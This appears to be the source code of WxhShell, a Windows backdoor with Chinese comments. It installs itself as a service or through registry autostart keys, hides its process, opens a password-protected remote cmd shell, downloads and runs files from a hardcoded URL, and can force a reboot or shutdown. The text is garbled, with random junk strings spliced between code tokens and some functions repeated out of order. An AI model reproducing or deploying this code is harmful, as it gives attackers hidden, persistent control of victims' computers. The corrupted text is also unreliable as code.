5_M8I HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \Z)1 ?fq if(NULL == hInst ) return 0; ^Uw[x\%#gD p|6v~ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~JZ3a0$^ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l_FGZ!7 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a,'Cyv"> <2Y0{
8) if (!NtQueryInformationProcess) return 0; )&NAs
t\U$8l_; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2iXoj&3e if(!hProcess) return 0; ,-*iCs< H^c0Kh+ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5P^ U_ _&{%Wc5W~F CloseHandle(hProcess); D\L!F6taS Yt1mB[&f^ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N}/>r D if(hProcess==NULL) return 0; !oSLl.fQd 4-4?IwS HMODULE hMod; G^h_YjR`* char procName[255]; QrjDF> unsigned long cbNeeded; i3V/`)iz Hw_o
w? if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^^LjI vd~U@-C=R CloseHandle(hProcess); :=g.o;(/N ?#[)C=p]z if(strstr(procName,"services")) return 1; // 以服务启动 c;!g W04av_u 5 return 0; // 注册表启动 P;foK)AM } i&ts YnP2 4_Rdp`x#J // 主模块 VK
.^v<Yo int StartWxhshell(LPSTR lpCmdLine) w-FnE}"l { ySX/=T:<; SOCKET wsl; XSD%t8<LO BOOL val=TRUE; xe:' 8J6L int port=0; FUTn struct sockaddr_in door; #qL9{P<} 1t~({Pl<> if(wscfg.ws_autoins) Install(); }Jxq'B q(9%^cV6 port=atoi(lpCmdLine); 4
eh=f!(+ XoL[
r67Z if(port<=0) port=wscfg.ws_port; sWxK~Yg ?z.Isvn WSADATA data; ofCVbn if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Lo3-X g^lFML|
% if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; .j 'wQ+_ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w!,QxrOV~ door.sin_family = AF_INET; D$pj# door.sin_addr.s_addr = inet_addr("127.0.0.1"); S=9E@(] door.sin_port = htons(port); b~wKF0vq 'C]jwxy if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H`|0-`q closesocket(wsl); K+ehr return 1; Cg6;I.K } V9jFjc? 26nBBS,; if(listen(wsl,2) == INVALID_SOCKET) { *FPg#a+ closesocket(wsl); I)[B9rbe return 1; !A-;NGxE } |HgfV@Han Wxhshell(wsl); oS!/|#mn WSACleanup(); S:97B\u`
]Y5dl;xrM) return 0; ;/A}}B]y u8uW9 < } NhlJ3/J j 5ZsDgOeY // 以NT服务方式启动 i7v/A&Rc VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~= 9Vv { 02M7gBS DWORD status = 0; &t[|%c*D& DWORD specificError = 0xfffffff; &wGg6$ rt;gC[3\ serviceStatus.dwServiceType = SERVICE_WIN32; g\J)= ,ju, serviceStatus.dwCurrentState = SERVICE_START_PENDING; )+B=z}:Nfz serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GMb!Q0I8 serviceStatus.dwWin32ExitCode = 0; W:B }u\)C serviceStatus.dwServiceSpecificExitCode = 0; u[[/w&UV., serviceStatus.dwCheckPoint = 0; ( -2R{!A serviceStatus.dwWaitHint = 0; }:^X X0:FK .CmL7
5 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?'LM7RE$X6 if (hServiceStatusHandle==0) return; r%[1$mTOR 7-g^2sa'( status = GetLastError(); 7,su f }= if (status!=NO_ERROR) Su4h'&xx { R#fy60 serviceStatus.dwCurrentState = SERVICE_STOPPED; ;y>'yq} serviceStatus.dwCheckPoint = 0; Jk~UEqr+ serviceStatus.dwWaitHint = 0; cUM_ncYOP serviceStatus.dwWin32ExitCode = status; ]
zIfC>@R serviceStatus.dwServiceSpecificExitCode = specificError; yy))Z0E5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); (\uAAW" return; 3GINv3_ } y[p6y[r* !G>(j serviceStatus.dwCurrentState = SERVICE_RUNNING; Zih5/I serviceStatus.dwCheckPoint = 0; bXm:]? serviceStatus.dwWaitHint = 0; g`{Dxb,t if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); | @q9{h7 } B{4"$Mi xO gq-@` // 处理NT服务事件,比如:启动、停止 {6Y xN& VOID WINAPI NTServiceHandler(DWORD fdwControl) *vXDuhQ { }{#7Z8 switch(fdwControl) <tU
:U<ea] { C &FN#B case SERVICE_CONTROL_STOP: 59/Q*7ZJ serviceStatus.dwWin32ExitCode = 0; !xJFr6G~8 serviceStatus.dwCurrentState = SERVICE_STOPPED; =%)}) serviceStatus.dwCheckPoint = 0; @|]iSD&T
# serviceStatus.dwWaitHint = 0; gpsrw>nw { B~4mk SetServiceStatus(hServiceStatusHandle, &serviceStatus);
B,:23[v } -MUQ\pZ return; Ol_/uy1r[ case SERVICE_CONTROL_PAUSE: l]/> `62 serviceStatus.dwCurrentState = SERVICE_PAUSED; "1CGO@AXS break; R>` ih&,) case SERVICE_CONTROL_CONTINUE: 8|Q4-VK<! serviceStatus.dwCurrentState = SERVICE_RUNNING; 5bF5~D(E break; JN)"2}SE case SERVICE_CONTROL_INTERROGATE: TA<hj[-8 break; y8}"DfU. }; MsSoX9A{D SetServiceStatus(hServiceStatusHandle, &serviceStatus); +:b(%| } LP8o7%sv! ;7)OSGR // 标准应用程序主函数 AV9:O{ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P)4x { $<14JEU XuA0.b% // 获取操作系统版本 e ^-3etx OsIsNt=GetOsVer(); ul}4p{ m[ GetModuleFileName(NULL,ExeFile,MAX_PATH); ^Y#@$c tvK rc // 从命令行安装 J1& A,Gb if(strpbrk(lpCmdLine,"iI")) Install(); kS[Dy$AB/2 ;q'DGzh // 下载执行文件 y K=S!7p\ if(wscfg.ws_downexe) { |\rSa^:5 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /;[}=JL<Q WinExec(wscfg.ws_filenam,SW_HIDE); EGr|BLl } 9k*^\@\\x =nw,*q + if(!OsIsNt) { YcEtgpz@ // 如果时win9x,隐藏进程并且设置为注册表启动 "@aq@mY@ HideProc(); 55(J&q StartWxhshell(lpCmdLine); WNl&v] } ]9dx3<2_I else t4C<#nfo if(StartFromService()) <[esA9.]t // 以服务方式启动 G!-7ic_4 StartServiceCtrlDispatcher(DispatchTable); Hs.6;|0% else p`pg5R // 普通方式启动 MP_A<F StartWxhshell(lpCmdLine); |2[S/8g! )Fw
@afE~ return 0; AfuXu@UZ_/ } nmTm(?yE Q|6Ls$'$ =I
%g;YK fpI;`s =========================================== >2FAi., +.XZK3 Ks9FnDm8 j\%?<2dj= 1y_fQ+\2A +"TI_tK,S " dxk;@Tz "
&_$V@S #include <stdio.h> t$ACQ*O
#include <string.h> aslU`#" #include <windows.h> myEGibhK #include <winsock2.h> [u,hc/PL #include <winsvc.h> wpAw/-/ #include <urlmon.h> LuQ"E4;nY% pE$|2v #pragma comment (lib, "Ws2_32.lib") ~R"]LbeY #pragma comment (lib, "urlmon.lib") :|*Gnu /8 e2dw:
\ #define MAX_USER 100 // 最大客户端连接数 f)p>nW?Z #define BUF_SOCK 200 // sock buffer Aqx3!
#define KEY_BUFF 255 // 输入 buffer }wa}hIqx x&Q+|b% #define REBOOT 0 // 重启 n1fEdaa7g #define SHUTDOWN 1 // 关机 x*5 Ch~<k D!l [3 #define DEF_PORT 5000 // 监听端口 wrZ7Sr!/V e|2vb
GQ #define REG_LEN 16 // 注册表键长度 yEMX ` #define SVC_LEN 80 // NT服务名长度 !D.= 'V i}v}K'` // 从dll定义API $.suu^>^w typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `@ VM<av typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Td["l!-fe typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); + 1E?He:iQ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $gj+v+%N EqNz L*E // wxhshell配置信息 ]Ct`4pA struct WSCFG { yv6Zo0s<J int ws_port; // 监听端口 mq|A8>g char ws_passstr[REG_LEN]; // 口令 BK`Q)[ int ws_autoins; // 安装标记, 1=yes 0=no 0~PXa(!^K char ws_regname[REG_LEN]; // 注册表键名 _mIa8K; char ws_svcname[REG_LEN]; // 服务名 Uxj<x`<1x char ws_svcdisp[SVC_LEN]; // 服务显示名 %J/fg<W1 char ws_svcdesc[SVC_LEN]; // 服务描述信息 "z{_hp{T^ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^g}gT-l% int ws_downexe; // 下载执行标记, 1=yes 0=no :,xyVb+ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^P3g9'WK char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }a #b$]Y .!7Fe)(x }; $M}k%Z
X]3l| D // default Wxhshell configuration =hZ&66 struct WSCFG wscfg={DEF_PORT, ft~| "xuhuanlingzhe", CP F>^Mp# 1, +SZ%& "Wxhshell", }"g21-T^ "Wxhshell", i?&4SG+2~K "WxhShell Service", rzYobOKd# "Wrsky Windows CmdShell Service", 8|S1|t, "Please Input Your Password: ", FcA)RsMI* 1, Qwp\)jVi "http://www.wrsky.com/wxhshell.exe", -@gJqoo> "Wxhshell.exe" 1`2);b{@ }; rE
bx%u7Q hB2s$QS // 消息定义模块 iECC@g@a char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q>D4ma^ char *msg_ws_prompt="\n\r? for help\n\r#>"; &F<J#cfe8 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; " kE:T., char *msg_ws_ext="\n\rExit."; BCa90 char *msg_ws_end="\n\rQuit."; 1{\,5U& char *msg_ws_boot="\n\rReboot..."; BM=V,BZy char *msg_ws_poff="\n\rShutdown..."; P0`>{!r6@ char *msg_ws_down="\n\rSave to "; +7lRP)1R Xj})?{FP char *msg_ws_err="\n\rErr!"; X1
0"G~0 char *msg_ws_ok="\n\rOK!"; )$lSG}WD &dwI8@& char ExeFile[MAX_PATH]; ~q'w),bE"Q int nUser = 0; t9$AvE#a!= HANDLE handles[MAX_USER]; 8zWBXV int OsIsNt; ?C#F?N0 cW~6@&zp SERVICE_STATUS serviceStatus; ]$?zT`>(F SERVICE_STATUS_HANDLE hServiceStatusHandle; (TbB?X} ||*&g2Y // 函数声明 A^= Hu,"e int Install(void); U:pLnNp` int Uninstall(void); Vx\#+)4 int DownloadFile(char *sURL, SOCKET wsh); C,VqT6E< int Boot(int flag); O_s9 void HideProc(void); Y|x6g(b int GetOsVer(void); WW8YB" int Wxhshell(SOCKET wsl); 6/V{>MTZg void TalkWithClient(void *cs); Qn'r+X5t int CmdShell(SOCKET sock); 3
4A&LBwC int StartFromService(void); FgHB1x4; int StartWxhshell(LPSTR lpCmdLine); ZhJ|ZvJ a?U%l 9F VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V5hlG =V VOID WINAPI NTServiceHandler( DWORD fdwControl ); >r4Y\"/j 8Jib|#! // 数据结构和表定义 'wT./&Z SERVICE_TABLE_ENTRY DispatchTable[] = =xlYQ}-(a { gR_b~^ {wscfg.ws_svcname, NTServiceMain}, {%+3D,$) {NULL, NULL} 1Hk<_no5 }; dZ]\1""#H ^$&"<
// 自我安装 c@ZkX]g int Install(void) ,<
)/45 { <=y58O]x char svExeFile[MAX_PATH]; *`pec3" HKEY key; [ ;3EzZL strcpy(svExeFile,ExeFile); $.3CiM}~ z*k3q`=> // 如果是win9x系统,修改注册表设为自启动 v^lm8/}NO if(!OsIsNt) { Y(G*Yi?; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O7<V@GL+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CSk RegCloseKey(key); > {LJ#Dc6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Cn./N aq RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YRM6\S)py RegCloseKey(key); g8iB;%6
return 0; /kviO@jm4( } aD2CDu } 8 *(W |J } R2H\;N else { ~i_R%z:y B"E (Y M // 如果是NT以上系统,安装为系统服务 JY050FL SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]K0,nj*\c if (schSCManager!=0) -)->Jx:{ { pS|JDMo SC_HANDLE schService = CreateService t&Y^W < ( V@+<,tjq schSCManager, dv4r\ R^ wscfg.ws_svcname, zk^7gx3x wscfg.ws_svcdisp, ow>[#.ua SERVICE_ALL_ACCESS, tB(X`A.| SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Zkb,v!l SERVICE_AUTO_START, 4S{l>/I SERVICE_ERROR_NORMAL, )V+Dqh,-g svExeFile, :EldP,s#x% NULL, ,9l!fT?iH NULL, ;xkf?| NULL, YWBP'Mo NULL, BKP!+V/ NULL px(1Ppb9 ); |#khwH if (schService!=0) )mo|.L0 { MgK(gL/&[ CloseServiceHandle(schService); [#@p{[ ?r CloseServiceHandle(schSCManager); HjF'~n strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NYV0<z@M2M strcat(svExeFile,wscfg.ws_svcname); GL0' :LsZ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { { G>+. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y @ ,e RegCloseKey(key); ])ZJ1QL1 return 0; BKjPmrZ| } VT~
^:-] } cB])A57< CloseServiceHandle(schSCManager); Sm I8&c } Hd@T8 D*A } cJE>;a []fj~hj return 1; f.xSr! } r@V(w` D]>86& // 自我卸载 1p5q}">z int Uninstall(void) 93p9?4;n- { RkXLE"G' HKEY key; Mud\Q[" 1nM?>j%k if(!OsIsNt) { j~j
V`>A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ne~#{q RegDeleteValue(key,wscfg.ws_regname); %$-3fj7
RegCloseKey(key); HvfTC<+H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f*H}eu3/j RegDeleteValue(key,wscfg.ws_regname); |c+N)FB RegCloseKey(key); 6nk|*HPz return 0; JC?V].) y5 } W;x LuKIG } BOcEL%+ } )UU6\2^ else { &(U=O?r7 KB-#):' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HQ#L
|LN if (schSCManager!=0) ha'm`LiX
{ tp3N5I SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ea;c\84_N if (schService!=0) Tf]VcEF { I)4|?tb? if(DeleteService(schService)!=0) { JG+o~tQC CloseServiceHandle(schService); Gqu0M`+7 CloseServiceHandle(schSCManager); #+Gs{i Xr return 0; t$ ~:C } YO4ppL~xe CloseServiceHandle(schService); w9?wy#YI } j3'/jk]\ CloseServiceHandle(schSCManager); ^Q+5M"/8 } @ShJ: } {y%O_-C'r GnHf9
JrR return 1; W$ {sD|d- } BHBR_7 KD<`-b)7< // 从指定url下载文件 JZ0+VB-3U int DownloadFile(char *sURL, SOCKET wsh) !Dn1pjxc { |&*rSp2iH HRESULT hr; IZ ha* 7 char seps[]= "/"; T{2//$T? char *token; jtC ob'n8 char *file; <^$b1<@ char myURL[MAX_PATH]; GdwHm char myFILE[MAX_PATH]; =7Gi4X% fH{$LjH( strcpy(myURL,sURL); xg!\C@$ token=strtok(myURL,seps); VH*(>^OfF while(token!=NULL) 5 `mVe0uI { i;
uM!d} file=token; 6m<9^NT token=strtok(NULL,seps); zT 40,rk } \}(-9dr JugQ +0 GetCurrentDirectory(MAX_PATH,myFILE); fA,!d J strcat(myFILE, "\\"); !: [`
V!{ strcat(myFILE, file); o[*ih\d send(wsh,myFILE,strlen(myFILE),0); eh=bClk send(wsh,"...",3,0); oO,p.X% hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q "vT]=Y}: if(hr==S_OK) *\5H\s9< return 0; blS4AQ?b^ else 1KEPD@0oxx return 1; dNmX<WXG n m$G4Q } _$x *CP0(
C_&tOt // 系统电源模块 0a;zT
O/"v int Boot(int flag) 4ov~y1Da) { RLr-xg$K-t HANDLE hToken; 2Nszxvq, TOKEN_PRIVILEGES tkp; )7TTRL xpo}YF'5 if(OsIsNt) { v<4X;4p^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -Euy5Y LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uATRZMai tkp.PrivilegeCount = 1; <AXYqH7%A tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2^j9m}` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +w/o if(flag==REBOOT) { cA^7}}?e if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) XBBRB<l) return 0; 0
N^V&k } ?Io2lFvI@Y else { eS+LFS7*k if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =swcmab; return 0; ;]e"bX } m)2U-3*iX } -M9
4 F else { 4df1)<}U- if(flag==REBOOT) { %iML??S if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4WnxJ]5` return 0; g9Ll>d)tE3 } A) .AAr else { >l[N]CQ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rGO3 return 0; 6<GWDO } a_x6 v* } 9dv~WtH>5 247>+:7z return 1; mI18A#[ 3 } L*38T\ )HHzvGsL) // win9x进程隐藏模块 S]{Z_|h*j void HideProc(void)
YDL)F<Y { Gj?q+-d!(5 ]].21 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l\GNd6)H if ( hKernel != NULL ) l{yPO@ut`F { [J#(k`@ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Uh}yHD`K ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W>49,A,q FreeLibrary(hKernel); NoIdO/vy" } M?`06jQD. n40Z return; Plv+ mb } kDQXPp 2y,wN"qH* // 获取操作系统版本 ^6n]@4P int GetOsVer(void) C,rZ}- { mUw,q;{ OSVERSIONINFO winfo; R&p5 3n winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XDQ1gg` GetVersionEx(&winfo); YKk%;U* if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _XtY/7n return 1; $P~ a else NI)nf;C return 0; %mJ)pMV } T@XiG:b7 D%btlw?{ // 客户端句柄模块 o%iTYR:x int Wxhshell(SOCKET wsl) /cn_|DwN5 { k[m-"I%ZFX SOCKET wsh; #Ba'k6b struct sockaddr_in client; 3@JwL{C DWORD myID; 3WHH3co[ w4mL/j while(nUser<MAX_USER) |d8o<Q { vC1 `m int nSize=sizeof(client); d+;~x* wsh=accept(wsl,(struct sockaddr *)&client,&nSize); im"v75 tc if(wsh==INVALID_SOCKET) return 1; :Vc9||k FS0SGBo handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V7<}
;Lzm if(handles[nUser]==0) :n4x}% closesocket(wsh); @nK08Kj- else xOH@V4z: nUser++; jLg4_N1SD } G.8ZISN/ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W:G*t4i LvaF4Y2v return 0; +X%yF{^m( } X-)6.[9f #kA+Yqy\) // 关闭 socket &M0v/!%L void CloseIt(SOCKET wsh) ]MyWB<9M { [o6d]i! closesocket(wsh);
BN0))p nUser--; |{(ynZ]R ExitThread(0); z\, w$Ef+ } QQJcvaQ FrS>.!OFn // 客户端请求句柄 S_zE+f+
2 void TalkWithClient(void *cs) v?rN;KY#pK { O B:G5B` 0FBifK SOCKET wsh=(SOCKET)cs; "A7tb39* char pwd[SVC_LEN]; A'T! og|5 char cmd[KEY_BUFF]; <\u%ZB char chr[1]; QQcJUOxT9 int i,j; y)2]:nD`B 9j/B3CjW while (nUser < MAX_USER) { Fa8>+ {.AFg/Z if(wscfg.ws_passstr) { LdcP0G\"VG if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,fbO} //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :Fh*4
&Z //ZeroMemory(pwd,KEY_BUFF); PeOgXg)L`z i=0; @U,cj>K while(i<SVC_LEN) { AyWCb
g_`8K,6ln // 设置超时 ;,D7VxWhY fd_set FdRead; iPao54Z struct timeval TimeOut; YB[P`Muj FD_ZERO(&FdRead); LS;kq', FD_SET(wsh,&FdRead); Y) Z>Bi TimeOut.tv_sec=8; };|'8'5 TimeOut.tv_usec=0; *ZHk^d: int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0z.& if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7ORwDR,`5 B; ~T|ex u if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z[B7k%} pwd=chr[0]; YS9| J=!~ if(chr[0]==0xd || chr[0]==0xa) { &A>J>b pwd=0; -1[ri8t;nV break; `ainJs:B } i^yQ;
2- i++; ]0o78(/w2 } T
^uBMDYe *<KY^; // 如果是非法用户,关闭 socket Li}yK[\] if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a83o(9 } <=p"ck@ lPjgBp{/ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g\2Y605DM send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GerZA# mR@iGl\\ while(1) { ~&g:7f|X ZC05^ ZeroMemory(cmd,KEY_BUFF); W /IyF){ 8<xJmcTEwO // 自动支持客户端 telnet标准 3+IS7ATn j=0; ~{xY{qL while(j<KEY_BUFF) { C0e<
_6p= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p[cC%3 cmd[j]=chr[0]; <~3@+EEM if(chr[0]==0xa || chr[0]==0xd) { {aU~[5L3( cmd[j]=0; :iq1-Pw break; aXwFQ, } 4o'0lz] j++; p<
XjiRq } OA[w|Tt .iw+# // 下载文件 :[Fwc if(strstr(cmd,"http://")) { {R(q7ALR send(wsh,msg_ws_down,strlen(msg_ws_down),0); o +&/ N-t if(DownloadFile(cmd,wsh)) T2k5\r8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); }ZV$_ else V;.=O}Lr send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (xMAo;s_ } 'Kl} y, else { 7z`)1^M ,w
c|YI)E switch(cmd[0]) { ! @|"84 K@+&5\y] // 帮助 (Ys0|I3 case '?': { 4W6gKY send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *c. *e4uzF break; eP6>a7gc } `g3H;E // 安装 hX8;G!/ case 'i': { yYF%U7N/n if(Install()) I~EJctOG send(wsh,msg_ws_err,strlen(msg_ws_err),0); /:l>yKI+~ else a&9+< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L ej3? k break; sOv:/' } %<P&"[F]v@ // 卸载 ^dRB(E}|) case 'r': { ~r+;i,,X if(Uninstall()) [Qr#JJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); _HGbR/ else A=>%KQc? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dQTJC
%]O break; H&l/o } DdPU\ ZWR // 显示 wxhshell 所在路径 Lk4gjs,V case 'p': { ~#Vrf0w/ char svExeFile[MAX_PATH]; ;=aj)lemCr strcpy(svExeFile,"\n\r"); _A1r6 strcat(svExeFile,ExeFile); c JGU~\ send(wsh,svExeFile,strlen(svExeFile),0); 4;y*y tY* break; J&2cf# } @} qMI
// 重启 rMUn ~ case 'b': { <t\!g send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K '7M\:zy if(Boot(REBOOT)) 5V8WSnO send(wsh,msg_ws_err,strlen(msg_ws_err),0); B/AS|i] sM else { >,7-cm=. closesocket(wsh); ,x&T8o/a ExitThread(0); #,lJ>mTe4 } [Q6PFdQ_JT break; VI/77 } $zKf>[K // 关机 RX \%R case 'd': { [<rV
"g send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CN+[|Mz*p if(Boot(SHUTDOWN)) "K;f[&xO,o send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^|gD;OED7O else { Sjv_% C$ closesocket(wsh); M*$#j| ExitThread(0); \$$DM"+:;H } Z0 @P1 break; S8 .1%sw } yp9vgUs // 获取shell =~15q=XY0 case 's': { '9.L5*wh] CmdShell(wsh); !W^P|:Qt closesocket(wsh); v4OroG=^ ExitThread(0); ?)X0l break; +XMKRt } b"k1N9 // 退出 4c0 =\v case 'x': { P-U9FKrt send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Xw)W6H| CloseIt(wsh); C;>!SRCp break; h&}z@ } {_C2c{ // 离开 TuG%oV} case 'q': { c'O"</
send(wsh,msg_ws_end,strlen(msg_ws_end),0); (.^KuXd closesocket(wsh); \I"n~h^_ WSACleanup(); bWv2*XC exit(1); >>%m,F[ break; 'A2^K5`3 } rU/8R'S } :< X&y } w]1Ltq*g/ /#TtAkH // 提示信息 Bre:_>* if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C( wZjO?N } Bc&Y[u-n } J@$KF GUs >=O5=\` return; Op<,e{[] } &1 t84p:^= djmd
@{Djt // shell模块句柄 (_IP z)F int CmdShell(SOCKET sock) Z@(m.&ZRx { ((Uw[8#2` STARTUPINFO si; 7fE U5@ ZeroMemory(&si,sizeof(si)); ;V v.$mI si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'nJ,mZx si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a1#",%{I PROCESS_INFORMATION ProcessInfo; vLI'Z)\ char cmdline[]="cmd"; tw
k CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b=+3/-d return 0; T$!Pkdh }
9q[d?1 V10JExsJ // 自身启动模式 ;r?s7b/> int StartFromService(void) wNvq['P { Ky[s&>02 typedef struct 9KCeKT>v { 9w!PA-) L DWORD ExitStatus; zoibinm}Eg DWORD PebBaseAddress; OjWg>v\v DWORD AffinityMask; kltorlH DWORD BasePriority; JO-FnoQK ULONG UniqueProcessId; @PzRHnT* ULONG InheritedFromUniqueProcessId; ,4mb05w;d } PROCESS_BASIC_INFORMATION; F rd>+ tfIUH'Ez> PROCNTQSIP NtQueryInformationProcess; P1_6:USBM &[b(Lx|i static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t9~Y
? static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *)bh6b=7 VW\xuP HANDLE hProcess; T3bYj|rh= PROCESS_BASIC_INFORMATION pbi; w5<&b1: aOhi<I`* HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lK Ry4~O if(NULL == hInst ) return 0; ROi_k4Fj 4OOI$J$Jh g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r;~7$B) g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W#9A6ir> NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g|Xjw Ti8$ C23Gp3_0/ if (!NtQueryInformationProcess) return 0; AGhr(\j `D $ "K1u hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y>2oU`ly, if(!hProcess) return 0; QCJf
VXPsYR& if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P" aw--f( ^6@6BYf) CloseHandle(hProcess); ;iA$yw: n#PXMD* hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K |^OnM if(hProcess==NULL) return 0; p'4ZcCW?f T
